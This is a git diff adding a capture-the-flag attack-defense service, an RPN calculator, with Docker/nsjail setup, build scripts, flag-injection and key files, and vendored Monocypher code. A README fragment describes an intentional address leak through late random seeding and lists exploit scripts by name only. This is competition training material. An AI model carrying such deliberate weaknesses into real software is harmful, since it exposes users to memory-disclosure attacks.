+2. Because the random-generator is initialized too late, if the very first command is `RANDOM`, then its result is a data-address XORed with a known constant. On the other hand, all subsequent results of `RANDOM` are the same data address XORed with a truly random number, making the result truly random as well. + +## Exploits + +| service | store | exploit | +| :------ | :---: | :--------------------------------------------------------------- | +| RPN | 1+2 | [service3-deaslr1-read1.py](/exploits/service3-deaslr1-read1.py) | +| RPN | 1+2 | [service3-deaslr1-read2.py](/exploits/service3-deaslr1-read2.py) | +| RPN | 1+2 | [service3-deaslr2-read1.py](/exploits/service3-deaslr2-read1.py) | +| RPN | 1+2 | [service3-deaslr2-read2.py](/exploits/service3-deaslr2-read2.py) | +| RPN | 1+2 | [service3-debug-mode-1.py](/exploits/service3-debug-mode-1.py) | +| RPN | 1+2 | [service3-debug-mode-2.py](/exploits/service3-debug-mode-2.py) | +| RPN | 1 | [service3-leak-1.py](/exploits/service3-leak-1.py) | +| RPN | 1 | [service3-leak-2.py](/exploits/service3-leak-2.py) | +| RPN | 1 | [service3-leak-3.py](/exploits/service3-leak-3.py) | +| RPN | 2 | [service3-leak-4.py](/exploits/service3-leak-4.py) | +| RPN | 2 | [service3-leak-5.py](/exploits/service3-leak-5.py) | + +## Patches + +The 9 different patches are available in [src/patch_binary.py](src/patch_binary.py) script. diff --git a/services/service3/service/Dockerfile b/services/service3/service/Dockerfile new file mode 100644 index 0000000..1ceba5d --- /dev/null +++ b/services/service3/service/Dockerfile @@ -0,0 +1,61 @@ +ARG BASE_IMAGE=jammy-20220428 + +FROM ubuntu:${BASE_IMAGE} as nsjail_builder +ENV DEBIAN_FRONTEND noninteractive +RUN apt-get -y update && apt-get install -y \ + autoconf \ + bison \ + flex \ + gcc \ + g++ \ + git \ + libprotobuf-dev \ + libnl-route-3-dev \ + libtool \ + make \ + pkg-config \ + protobuf-compiler \ + && rm -rf /var/lib/apt/lists/* +RUN cd / && \ + git clone https://github.com/google/nsjail.git && \ + cd /nsjail && \ + git checkout 3.1 && \ + make && \ + mv /nsjail/nsjail /bin && \ + rm -rf -- /nsjail + +FROM ubuntu:${BASE_IMAGE} +ENV DEBIAN_FRONTEND noninteractive +RUN apt-get -y update && apt-get install -y \ + libprotobuf-dev \ + libnl-route-3-dev \ + libtool \ + && rm -rf /var/lib/apt/lists/* +COPY --from=nsjail_builder /bin/nsjail /bin/nsjail +RUN mkdir -p /new_root /new_root/bin /new_root/flags && \ + mkdir /new_root/lib && \ + cp -r /usr/lib64 /new_root && \ + cp -r /lib/x86_64-linux-gnu /new_root/lib && \ + chown 0:0 -R /new_root && \ + chown 1337:1337 /new_root/flags && \ + chmod 700 /new_root/flags +EXPOSE 1982 +COPY rpn /new_root/rpn +RUN chmod 555 /new_root/rpn +ENTRYPOINT [ "nsjail", \ + "-Ml", "--port", "1982", \ + "--user", "1337:1337", \ + "--group", "1337:1337", \ + "--disable_proc", \ + "--hostname", "pwn_jail", \ + "--time_limit", "120", \ + "--rlimit_cpu", "10", \ + "--rlimit_nproc", "20", \ + "--rlimit_as", "64", \ + "--rlimit_nofile", "16", \ + "--iface_no_lo", \ + "--rw", \ + "--chroot", "/new_root", \ + "--max_conns", "50", \ + "--", \ + "/rpn" ] diff --git a/services/service3/service/docker-compose.yml b/services/service3/service/docker-compose.yml new file mode 100644 index 0000000..1ca6768 --- /dev/null +++ b/services/service3/service/docker-compose.yml @@ -0,0 +1,12 @@ +services: + rpn: + build: . + ports: + - "0.0.0.0:1337:1982" + privileged: true + restart: "unless-stopped" + volumes: + - flagstore:/new_root/flags + +volumes: + flagstore: diff --git a/services/service3/service/rpn b/services/service3/service/rpn new file mode 100755 index 0000000..a0c00d4 Binary files /dev/null and b/services/service3/service/rpn differ diff --git a/services/service3/src/ANSI-color-codes.h b/services/service3/src/ANSI-color-codes.h new file mode 100644 index 0000000..7c65344 --- /dev/null +++ b/services/service3/src/ANSI-color-codes.h @@ -0,0 +1,78 @@ +/* + * This is free and unencumbered software released into the public domain. + * + * For more information, please refer to + */ + +//Regular text +#define BLK "\e[0;30m" +#define RED "\e[0;31m" +#define GRN "\e[0;32m" +#define YEL "\e[0;33m" +#define BLU "\e[0;34m" +#define MAG "\e[0;35m" +#define CYN "\e[0;36m" +#define WHT "\e[0;37m" + +//Regular bold text +#define BBLK "\e[1;30m" +#define BRED "\e[1;31m" +#define BGRN "\e[1;32m" +#define BYEL "\e[1;33m" +#define BBLU "\e[1;34m" +#define BMAG "\e[1;35m" +#define BCYN "\e[1;36m" +#define BWHT "\e[1;37m" + +//Regular underline text +#define UBLK "\e[4;30m" +#define URED "\e[4;31m" +#define UGRN "\e[4;32m" +#define UYEL "\e[4;33m" +#define UBLU "\e[4;34m" +#define UMAG "\e[4;35m" +#define UCYN "\e[4;36m" +#define UWHT "\e[4;37m" + +//Regular background +#define BLKB "\e[40m" +#define REDB "\e[41m" +#define GRNB "\e[42m" +#define YELB "\e[43m" +#define BLUB "\e[44m" +#define MAGB "\e[45m" +#define CYNB "\e[46m" +#define WHTB "\e[47m" + +//High intensty background +#define BLKHB "\e[0;100m" +#define REDHB "\e[0;101m" +#define GRNHB "\e[0;102m" +#define YELHB "\e[0;103m" +#define BLUHB "\e[0;104m" +#define MAGHB "\e[0;105m" +#define CYNHB "\e[0;106m" +#define WHTHB "\e[0;107m" + +//High intensty text +#define HBLK "\e[0;90m" +#define HRED "\e[0;91m" +#define HGRN "\e[0;92m" +#define HYEL "\e[0;93m" +#define HBLU "\e[0;94m" +#define HMAG "\e[0;95m" +#define HCYN "\e[0;96m" +#define HWHT "\e[0;97m" + +//Bold high intensity text +#define BHBLK "\e[1;90m" +#define BHRED "\e[1;91m" +#define BHGRN "\e[1;92m" +#define BHYEL "\e[1;93m" +#define BHBLU "\e[1;94m" +#define BHMAG "\e[1;95m" +#define BHCYN "\e[1;96m" +#define BHWHT "\e[1;97m" + +//Reset +#define reset "\e[0m" diff --git a/services/service3/src/Makefile b/services/service3/src/Makefile new file mode 100644 index 0000000..9bda85b --- /dev/null +++ b/services/service3/src/Makefile @@ -0,0 +1,22 @@ +ALL=rpn +CFLAGS=-Wall -ggdb -Og -std=gnu11 -fstack-protector-all -Werror -pie -fpie -fpic -Wno-error=format-zero-length + +rpn: rpn.c ANSI-color-codes.h cmd_tree.h monocypher.o + $(CC) $(CFLAGS) -DNDEBUG -o rpn rpn.c monocypher.o + cp rpn rpn_with_symbols + strip --strip-all rpn + +debug-builds: rpn.c ANSI-color-codes.h cmd_tree.h monocypher.o + $(CC) -DDEV_DEBUG $(CFLAGS) -o rpn_with_debug rpn.c monocypher.o + $(CC) -DDEV_DEBUG -DDEBUG_SET_VAR -DNO_SECCOMP $(CFLAGS) -fsanitize=address -o rpn_with_asan rpn.c monocypher.o + +monocypher.o: monocypher.c + $(CC) -c $(CFLAGS) monocypher.c + +cmd_tree.h: cmd_tree.py + ./cmd_tree.py > cmd_tree.h + +.PHONY: clean debug-builds + +clean: + rm -f rpn cmd_tree.h rpn_with_symbols monocypher.o diff --git a/services/service3/src/checker_key b/services/service3/src/checker_key new file mode 100644 index 0000000..f882423 --- /dev/null +++ b/services/service3/src/checker_key @@ -0,0 +1 @@ +g kvTo$ճ.( \ No newline at end of file diff --git a/services/service3/src/cmd_encoder.py b/services/service3/src/cmd_encoder.py new file mode 100755 index 0000000..b6bc27a --- /dev/null +++ b/services/service3/src/cmd_encoder.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 +import random + +from cmd_paths import cmd_paths as cmds + + +def encode(path: str): + s = ["a"] * 21 + indexes = sorted(random.sample(range(len(s)), len(path))) + for i, direction in zip(indexes, path): + s[i] = direction + b = "" + for c in s: + if c == "l": + b = "010" + b + elif c == "r": + b = "101" + b + else: + b = random.choice(["001", "011", "100", "110"]) + b + return int(b, 2) + + +def print_encodings(name, path): + print(f"{name} {path} -> ", end="") + for _ in range(3): + print(encode(path), end=" ") + print() + + +for name, path in cmds.items(): + print_encodings(name, path) diff --git a/services/service3/src/cmd_tree.py b/services/service3/src/cmd_tree.py new file mode 100755 index 0000000..c7f56cb --- /dev/null +++ b/services/service3/src/cmd_tree.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 + +commands = [ + ("dup", " [n]", "Duplicate the top of the stack n times (default n=1)"), + ("swap", "", "Swap the top two items"), + ("pick", " n", "Place a copy of the n-th item on the top"), + ("help", "", "Print this help"), + ("drop", "", "Drop the top element"), + ("clear", "", "Drop all elements"), + ("get_var", "", "Get the value of a variable; the identifier is the top element"), + ("set_var", "", "Set the value of a variable; the identifier is the top element, the value is the 2nd element",), + ("[todo]hxd", "", None), + ("debug_on", "", "Enable debug-mode (only available in development-mode)"), + ("debug_off", "", "Disable debug-mode (only available in development-mode)"), + ("vars", "", "Print all the variables (only available in debug-mode)"), + ("add", "", "Add the top two elements"), + ("sub", "", "Subtract the top two elements"), + ("div", "", "Divide the top two elements"), + ("mul", "", "Multiply the top two elements"), + ("and", "", "Bitwise-And of the top two elements"), + ("or", "", "Bitwise-Or of the top two elements"), + ("xor", "", "Bitwise-Xor of the top two elements"), + ("quit", " (or )", "Quit"), + ("random", "", "Push a random integer"), + ("time", "", "Push the Unix time, as an integer"), + ("time_to_str", "", "Convert the Unix time on top of the stack to a string"), + ("dec", "", "Print integers on the stack in decimal"), + ("hex", "", "Print integers on the stack in hexadecimal"), + ("oct", "", "Print integers on the stack in octal"), + ("next_base", "", "Switch to the next base; that is, cycle among dec/hex/oct modes",), + ("int_to_str", "", "Convert the integer on top of the stack to a string"), + ("str_to_int", "", "Convert the string on top of the stack to an integer"), + ("eval", "", "Execute the command corresponding to the integer on top of the stack",), + ("ps_on", "", "Automatically print the stack content (default)"), + ("ps_off", "", "Do not automatically print the stack content"), + ("ps_status", "", "Return the status of automatic stack printing"), + ("ints_to_id", "", "Convert four integers to an identifier"), + ("ints_to_str", "", "Convert four integers to a string"), + ("str_to_ints", "", "Convert a string into four integers"), + ("id_to_ints", "", "Convert an identifier into four integers"), + ("ver", "", "Print version/build information"), +] + + +def to_int(s): + i = 0 + for c in s: + i <<= 5 + i |= ord(c) & 31 + return i + + +commands = [(c[0], to_int(c[0]), c[1], c[2]) for c in commands] +commands.sort(key=lambda x: x[1]) + +print("static void cmd_help()\n{\n\tprintf(") +for c in sorted(commands, key=lambda c: c[0]): + if c[3] is None: + continue + cmd = c[0].upper() + c[2] + print( + '\t YEL "' + + (cmd + " ") + + '" reset "' + + "." * (20 - len(cmd)) + + " " + + c[3] + + '\\n"' + ) +print('\t"\\nCommands must begin with an uppercase letter, but are otherwise case-insensitive.\\n"') +print('\t"Identifiers start with a lowecase letter, and are case-sensitive.\\n"') +print('\t"Integer literals can be decimal, octal (prefix: \\"0\\") and hexadecimal (prefix: \\"0x\\").\\n"') +print('\t"String literals can be enclosed in either single or double quotes.\\n"') +print('\t"Arithmetic/bitwise operations can be abbreviated with +, -, and so on.\\n"') +print('"\\n"') +print("\t);\n}\n") + +# print(commands) + +all_paths = [] + + +def visit(i, j, path): + if j - i < 1: + return "0" + mid = (i + j) // 2 + left = visit(i, mid, path + "l") + right = visit(mid + 1, j, path + "r") + me = commands[mid] + my_name = me[0].replace("[", "").replace("]", "") + print(f"cmd_tree_node node_{my_name} = {{ {me[1]}, cmd_{my_name}, {left}, {right} }}; /* {path} */") + all_paths.append(f'\t"{my_name}" : "{path}",') + return f"&node_{my_name}" + + +print(f'cmd_tree_node *cmd_tree_root = {visit(0, len(commands), "")};') + +with open("cmd_paths.py", "w") as f: + print("cmd_paths = {", file=f) + print("\n".join(all_paths), file=f) + print("}\n", file=f) diff --git a/services/service3/src/flag-bank b/services/service3/src/flag-bank new file mode 100644 index 0000000..f6243c1 Binary files /dev/null and b/services/service3/src/flag-bank differ diff --git a/services/service3/src/gen_keys.py b/services/service3/src/gen_keys.py new file mode 100755 index 0000000..beeb4d8 --- /dev/null +++ b/services/service3/src/gen_keys.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +# Generate *s*igning and *v*erifying keys +import ed25519_blake2b + +N = 8 +with open("v_keys.c", "w") as out_c, open("s_keys.py", "w") as out_py: + skeys = [] + for i in range(N): + sk, vk = ed25519_blake2b.create_keypair() + skeys.append(sk.to_bytes()) + with open(f"sk{i}","wb") as f: + f.write(sk.to_bytes()) + with open(f"vk{i}","wb") as f: + b = vk.to_bytes() + print(f'const uint8_t vk_{i}[32] = ', str(list(b)).replace("[","{").replace("]","}"), ';', sep='', file=out_c) + f.write(b) + print('const uint8_t * const v_keys[]={', file=out_c) + for i in range(N): + print(f'\tvk_{i},', file=out_c) + print(f'\t0,', file=out_c) + print('};', file=out_c) + for i, keydata in enumerate(skeys): + print((f"SK_CHECKER" if i==0 else f"_team{i}_skey") + + f" = ed25519_blake2b.SigningKey({repr(keydata)})", file=out_py) + print("_teams_signing_keys = [", end="", file=out_py); + for i in range(1, N): + print(f"_team{i}_skey, ", end="", file=out_py) + print("]", file=out_py) + diff --git a/services/service3/src/inject_debug_flags.py b/services/service3/src/inject_debug_flags.py new file mode 100755 index 0000000..60ea526 --- /dev/null +++ b/services/service3/src/inject_debug_flags.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +import string +import hashlib +import ed25519_blake2b +import pwn +import random + +DEBUG_SIGNING = False + +sk_checker = b"\xb5\x18\x9fg\r\xd2k\x83v\xd3\xf5\xc4\x02\x17\xbfT\xc9\xd8o\xc9\xc1\xde$\xbc\xc9\xd5\xb3\xd6.\x9d(\x9c" +sk1 = b"\xc5\x07q\xabZ\xcea\x80\xffm\xc5-\xd1r\x05\xd8\xac\x15\xc7j\x1ar\x9b\xdcr\x95\x98\x96A\x9e\x1ei" +sk2 = b"\xe4Z\r\x85\x10/Lb\xf5<}\x03\xb2E\xf5/\x84\xb2\xa1Rd\x1e\xcb\xe1\xdfHwE\xb8\x82\\\n" +sk3 = b"\xa6\xe2\xd9R\x93\x04t\x15\xe0\x83\xd8\xdcw\xdf\xd7#\xac\xec\xb2\xd8yJ\x00\xe9\x9c\x96\xf2O]U-\x0f" +sk4 = b"\xd1\x84\x05(\x99W\x9e\xc1\xdcX\x05YuI\x89F\r\x17\xdd\x07\xcc\xcfH\xe5\xa4\x9f!#c\xd8\xd2\xf2" +sk5 = b"/G\x92\xc8|\xa3\x06{\xbe\xab\x1d\x82\xd9~\xa2\xf5\xf4_\xcabi\xfc\xbag\x14\xd9\x85\xc9\xb4\xf4\xb2\x1c" +sk6 = b"\x8bP\x1c\xec\xa0\x16\x00\xe3\xdc'\x14hliW\xd8\x8b\xf7\xe3\x07$y%\xd5\xfa\xa7\xb4\xe37\xdcV\x93" +sk7 = b'\xed|^\xd4\x95$\x8d\xdb\x97\xfa~"\xdc\x9bLU\r1\xbc5>\xe5}L\xcf\xfd\x88\xd2\x11\x94\xad\x19' +signing_keys = [sk_checker, sk1, sk2, sk3, sk4, sk5, sk6, sk7] # , sk8, sk9] +assert len(signing_keys) == 8 # checker + 7 teams + + +def build_flag_name(flag, store): + assert store == 1 or store == 2 + # print(f'build_flag_name({flag=}, {store=})') + hash = hashlib.sha256(flag.encode()) + hx = hash.hexdigest() + return "f" + hx[:30] + str(store) + + +io = pwn.remote("127.0.0.1", 1337) +io.recvuntil(b"Ready") +# N_FLAGS = 64 +N_FLAGS = 128 +for i, letter in zip(range(N_FLAGS), string.ascii_letters * (N_FLAGS // 52 + 1)): + # nk = random.randint(0, len(signing_keys)-1) + nk = i % 8 + if DEBUG_SIGNING: + print(f"{nk=} ", end="") + sk = ed25519_blake2b.SigningKey(signing_keys[nk]) + if N_FLAGS < 100: + flag_value = f"FLAG{i:02}" * 5 + "Z=" + else: + flag_value = f"FLAG{i:03}" * 4 + "ABC=" + assert len(flag_value) == 32 + io.sendline(f'"{flag_value}"'.encode()) + io.recvuntil(b"Ready") + id = build_flag_name(flag_value, i // (N_FLAGS // 2) + 1) + io.sendline(id.encode()) + io.recvuntil(b"Ready") + io.sendline(b"Set_var") + io.recvuntil(b"you must tell me the signature for:\n") + b = pwn.unhex(io.recvline().decode().replace("\n", "").replace(" ", "")) + assert len(b) == 16 + io.sendline(pwn.enhex(sk.sign(b)).encode()) + if DEBUG_SIGNING: + io.recvuntil(b"Signed with key=") + signed_with = int(io.recvline().decode()) + print(signed_with) + assert nk == signed_with + io.recvuntil(b"Ready") diff --git a/services/service3/src/keys b/services/service3/src/keys new file mode 100644 index 0000000..a31c877 --- /dev/null +++ b/services/service3/src/keys @@ -0,0 +1,20 @@ +# sk_checker = b"\xb5\x18\x9fg\r\xd2k\x83v\xd3\xf5\xc4\x02\x17\xbfT\xc9\xd8o\xc9\xc1\xde$\xbc\xc9\xd5\xb3\xd6.\x9d(\x9c" +# sk1 = b"\xc5\x07q\xabZ\xcea\x80\xffm\xc5-\xd1r\x05\xd8\xac\x15\xc7j\x1ar\x9b\xdcr\x95\x98\x96A\x9e\x1ei" +# sk2 = b"\xe4Z\r\x85\x10/Lb\xf5<}\x03\xb2E\xf5/\x84\xb2\xa1Rd\x1e\xcb\xe1\xdfHwE\xb8\x82\\\n" +# sk3 = b"\xa6\xe2\xd9R\x93\x04t\x15\xe0\x83\xd8\xdcw\xdf\xd7#\xac\xec\xb2\xd8yJ\x00\xe9\x9c\x96\xf2O]U-\x0f" +# sk4 = b"\xd1\x84\x05(\x99W\x9e\xc1\xdcX\x05YuI\x89F\r\x17\xdd\x07\xcc\xcfH\xe5\xa4\x9f!#c\xd8\xd2\xf2" +# sk5 = b"/G\x92\xc8|\xa3\x06{\xbe\xab\x1d\x82\xd9~\xa2\xf5\xf4_\xcabi\xfc\xbag\x14\xd9\x85\xc9\xb4\xf4\xb2\x1c" +# sk6 = b"\x8bP\x1c\xec\xa0\x16\x00\xe3\xdc'\x14hliW\xd8\x8b\xf7\xe3\x07$y%\xd5\xfa\xa7\xb4\xe37\xdcV\x93" +# sk7 = b'\xed|^\xd4\x95$\x8d\xdb\x97\xfa~"\xdc\x9bLU\r1\xbc5>\xe5}L\xcf\xfd\x88\xd2\x11\x94\xad\x19' +# signing_keys = [sk_checker, sk1, sk2, sk3, sk4, sk5, sk6, sk7] # , sk8, sk9] +# assert len(signing_keys) == 8 # checker + 7 teams + +# for i in range(8): +# filename = f'team_{i}_key' +# if i==0: filename = "checker_key" +# with open(filename, "wb") as f: +# f.write(signing_keys[i]) +# sys.exit() + +# sk = ed25519_blake2b.SigningKey(signing_keys[int(sys.argv[1])]) + diff --git a/services/service3/src/monocypher.c b/services/service3/src/monocypher.c new file mode 100644 index 0000000..bd73306 --- /dev/null +++ b/services/service3/src/monocypher.c @@ -0,0 +1,2958 @@ +// Monocypher version 3.1.3 +// +// This file is dual-licensed. Choose whichever licence you want from +// the two licences listed below. +// +// The first licence is a regular 2-clause BSD licence. The second licence +// is the CC-0 from Creative Commons. It is intended to release Monocypher +// to the public domain. The BSD licence serves as a fallback option. +// +// SPDX-License-Identifier: BSD-2-Clause OR CC0-1.0 +// +// ------------------------------------------------------------------------ +// +// Copyright (c) 2017-2020, Loup Vaillant +// All rights reserved. +// +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the +// distribution. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +// +// ------------------------------------------------------------------------ +// +// Written in 2017-2020 by Loup Vaillant +// +// To the extent possible under law, the author(s) have dedicated all copyright +// and related neighboring rights to this software to the public domain +// worldwide. This software is distributed without any warranty. +// +// You should have received a copy of the CC0 Public Domain Dedication along +// with this software. If not, see +// + +#include "monocypher.h" + +#ifdef MONOCYPHER_CPP_NAMESPACE +namespace MONOCYPHER_CPP_NAMESPACE { +#endif + +///////////////// +/// Utilities /// +///////////////// +#define FOR_T(type, i, start, end) for (type i = (start); i < (end); i++) +#define FOR(i, start, end) FOR_T(size_t, i, start, end) +#define COPY(dst, src, size) FOR(i__, 0, size) (dst)[i__] = (src)[i__] +#define ZERO(buf, size) FOR(i__, 0, size) (buf)[i__] = 0 +#define WIPE_CTX(ctx) crypto_wipe(ctx , sizeof(*(ctx))) +#define WIPE_BUFFER(buffer) crypto_wipe(buffer, sizeof(buffer)) +#define MIN(a, b) ((a) <= (b) ? (a) : (b)) +#define MAX(a, b) ((a) >= (b) ? (a) : (b)) + +typedef int8_t i8; +typedef uint8_t u8; +typedef int16_t i16; +typedef uint32_t u32; +typedef int32_t i32; +typedef int64_t i64; +typedef uint64_t u64; + +static const u8 zero[128] = {0}; + +// returns the smallest positive integer y such that +// (x + y) % pow_2 == 0 +// Basically, it's how many bytes we need to add to "align" x. +// Only works when pow_2 is a power of 2. +// Note: we use ~x+1 instead of -x to avoid compiler warnings +static size_t align(size_t x, size_t pow_2) +{ + return (~x + 1) & (pow_2 - 1); +} + +static u32 load24_le(const u8 s[3]) +{ + return (u32)s[0] + | ((u32)s[1] << 8) + | ((u32)s[2] << 16); +} + +static u32 load32_le(const u8 s[4]) +{ + return (u32)s[0] + | ((u32)s[1] << 8) + | ((u32)s[2] << 16) + | ((u32)s[3] << 24); +} + +static u64 load64_le(const u8 s[8]) +{ + return load32_le(s) | ((u64)load32_le(s+4) << 32); +} + +static void store32_le(u8 out[4], u32 in) +{ + out[0] = in & 0xff; + out[1] = (in >> 8) & 0xff; + out[2] = (in >> 16) & 0xff; + out[3] = (in >> 24) & 0xff; +} + +static void store64_le(u8 out[8], u64 in) +{ + store32_le(out , (u32)in ); + store32_le(out + 4, in >> 32); +} + +static void load32_le_buf (u32 *dst, const u8 *src, size_t size) { + FOR(i, 0, size) { dst[i] = load32_le(src + i*4); } +} +static void load64_le_buf (u64 *dst, const u8 *src, size_t size) { + FOR(i, 0, size) { dst[i] = load64_le(src + i*8); } +} +static void store32_le_buf(u8 *dst, const u32 *src, size_t size) { + FOR(i, 0, size) { store32_le(dst + i*4, src[i]); } +} +static void store64_le_buf(u8 *dst, const u64 *src, size_t size) { + FOR(i, 0, size) { store64_le(dst + i*8, src[i]); } +} + +static u64 rotr64(u64 x, u64 n) { return (x >> n) ^ (x << (64 - n)); } +static u32 rotl32(u32 x, u32 n) { return (x << n) ^ (x >> (32 - n)); } + +static int neq0(u64 diff) +{ // constant time comparison to zero + // return diff != 0 ? -1 : 0 + u64 half = (diff >> 32) | ((u32)diff); + return (1 & ((half - 1) >> 32)) - 1; +} + +static u64 x16(const u8 a[16], const u8 b[16]) +{ + return (load64_le(a + 0) ^ load64_le(b + 0)) + | (load64_le(a + 8) ^ load64_le(b + 8)); +} +static u64 x32(const u8 a[32],const u8 b[32]){return x16(a,b)| x16(a+16, b+16);} +static u64 x64(const u8 a[64],const u8 b[64]){return x32(a,b)| x32(a+32, b+32);} +int crypto_verify16(const u8 a[16], const u8 b[16]){ return neq0(x16(a, b)); } +int crypto_verify32(const u8 a[32], const u8 b[32]){ return neq0(x32(a, b)); } +int crypto_verify64(const u8 a[64], const u8 b[64]){ return neq0(x64(a, b)); } + +void crypto_wipe(void *secret, size_t size) +{ + volatile u8 *v_secret = (u8*)secret; + ZERO(v_secret, size); +} + +///////////////// +/// Chacha 20 /// +///////////////// +#define QUARTERROUND(a, b, c, d) \ + a += b; d = rotl32(d ^ a, 16); \ + c += d; b = rotl32(b ^ c, 12); \ + a += b; d = rotl32(d ^ a, 8); \ + c += d; b = rotl32(b ^ c, 7) + +static void chacha20_rounds(u32 out[16], const u32 in[16]) +{ + // The temporary variables make Chacha20 10% faster. + u32 t0 = in[ 0]; u32 t1 = in[ 1]; u32 t2 = in[ 2]; u32 t3 = in[ 3]; + u32 t4 = in[ 4]; u32 t5 = in[ 5]; u32 t6 = in[ 6]; u32 t7 = in[ 7]; + u32 t8 = in[ 8]; u32 t9 = in[ 9]; u32 t10 = in[10]; u32 t11 = in[11]; + u32 t12 = in[12]; u32 t13 = in[13]; u32 t14 = in[14]; u32 t15 = in[15]; + + FOR (i, 0, 10) { // 20 rounds, 2 rounds per loop. + QUARTERROUND(t0, t4, t8 , t12); // column 0 + QUARTERROUND(t1, t5, t9 , t13); // column 1 + QUARTERROUND(t2, t6, t10, t14); // column 2 + QUARTERROUND(t3, t7, t11, t15); // column 3 + QUARTERROUND(t0, t5, t10, t15); // diagonal 0 + QUARTERROUND(t1, t6, t11, t12); // diagonal 1 + QUARTERROUND(t2, t7, t8 , t13); // diagonal 2 + QUARTERROUND(t3, t4, t9 , t14); // diagonal 3 + } + out[ 0] = t0; out[ 1] = t1; out[ 2] = t2; out[ 3] = t3; + out[ 4] = t4; out[ 5] = t5; out[ 6] = t6; out[ 7] = t7; + out[ 8] = t8; out[ 9] = t9; out[10] = t10; out[11] = t11; + out[12] = t12; out[13] = t13; out[14] = t14; out[15] = t15; +} + +const u8 *chacha20_constant = (const u8*)"expand 32-byte k"; // 16 bytes + +void crypto_hchacha20(u8 out[32], const u8 key[32], const u8 in [16]) +{ + u32 block[16]; + load32_le_buf(block , chacha20_constant, 4); + load32_le_buf(block + 4, key , 8); + load32_le_buf(block + 12, in , 4); + + chacha20_rounds(block, block); + + // prevent reversal of the rounds by revealing only half of the buffer. + store32_le_buf(out , block , 4); // constant + store32_le_buf(out+16, block+12, 4); // counter and nonce + WIPE_BUFFER(block); +} + +u64 crypto_chacha20_ctr(u8 *cipher_text, const u8 *plain_text, + size_t text_size, const u8 key[32], const u8 nonce[8], + u64 ctr) +{ + u32 input[16]; + load32_le_buf(input , chacha20_constant, 4); + load32_le_buf(input + 4, key , 8); + load32_le_buf(input + 14, nonce , 2); + input[12] = (u32) ctr; + input[13] = (u32)(ctr >> 32); + + // Whole blocks + u32 pool[16]; + size_t nb_blocks = text_size >> 6; + FOR (i, 0, nb_blocks) { + chacha20_rounds(pool, input); + if (plain_text != 0) { + FOR (j, 0, 16) { + u32 p = pool[j] + input[j]; + store32_le(cipher_text, p ^ load32_le(plain_text)); + cipher_text += 4; + plain_text += 4; + } + } else { + FOR (j, 0, 16) { + u32 p = pool[j] + input[j]; + store32_le(cipher_text, p); + cipher_text += 4; + } + } + input[12]++; + if (input[12] == 0) { + input[13]++; + } + } + text_size &= 63; + + // Last (incomplete) block + if (text_size > 0) { + if (plain_text == 0) { + plain_text = zero; + } + chacha20_rounds(pool, input); + u8 tmp[64]; + FOR (i, 0, 16) { + store32_le(tmp + i*4, pool[i] + input[i]); + } + FOR (i, 0, text_size) { + cipher_text[i] = tmp[i] ^ plain_text[i]; + } + WIPE_BUFFER(tmp); + } + ctr = input[12] + ((u64)input[13] << 32) + (text_size > 0); + + WIPE_BUFFER(pool); + WIPE_BUFFER(input); + return ctr; +} + +u32 crypto_ietf_chacha20_ctr(u8 *cipher_text, const u8 *plain_text, + size_t text_size, + const u8 key[32], const u8 nonce[12], u32 ctr) +{ + u64 big_ctr = ctr + ((u64)load32_le(nonce) << 32); + return (u32)crypto_chacha20_ctr(cipher_text, plain_text, text_size, + key, nonce + 4, big_ctr); +} + +u64 crypto_xchacha20_ctr(u8 *cipher_text, const u8 *plain_text, + size_t text_size, + const u8 key[32], const u8 nonce[24], u64 ctr) +{ + u8 sub_key[32]; + crypto_hchacha20(sub_key, key, nonce); + ctr = crypto_chacha20_ctr(cipher_text, plain_text, text_size, + sub_key, nonce+16, ctr); + WIPE_BUFFER(sub_key); + return ctr; +} + +void crypto_chacha20(u8 *cipher_text, const u8 *plain_text, size_t text_size, + const u8 key[32], const u8 nonce[8]) +{ + crypto_chacha20_ctr(cipher_text, plain_text, text_size, key, nonce, 0); + +} +void crypto_ietf_chacha20(u8 *cipher_text, const u8 *plain_text, + size_t text_size, + const u8 key[32], const u8 nonce[12]) +{ + crypto_ietf_chacha20_ctr(cipher_text, plain_text, text_size, key, nonce, 0); +} + +void crypto_xchacha20(u8 *cipher_text, const u8 *plain_text, size_t text_size, + const u8 key[32], const u8 nonce[24]) +{ + crypto_xchacha20_ctr(cipher_text, plain_text, text_size, key, nonce, 0); +} + +///////////////// +/// Poly 1305 /// +///////////////// + +// h = (h + c) * r +// preconditions: +// ctx->h <= 4_ffffffff_ffffffff_ffffffff_ffffffff +// ctx->r <= 0ffffffc_0ffffffc_0ffffffc_0fffffff +// end <= 1 +// Postcondition: +// ctx->h <= 4_ffffffff_ffffffff_ffffffff_ffffffff +static void poly_block(crypto_poly1305_ctx *ctx, const u8 in[16], unsigned end) +{ + u32 s[4]; + load32_le_buf(s, in, 4); + + // s = h + c, without carry propagation + const u64 s0 = ctx->h[0] + (u64)s[0]; // s0 <= 1_fffffffe + const u64 s1 = ctx->h[1] + (u64)s[1]; // s1 <= 1_fffffffe + const u64 s2 = ctx->h[2] + (u64)s[2]; // s2 <= 1_fffffffe + const 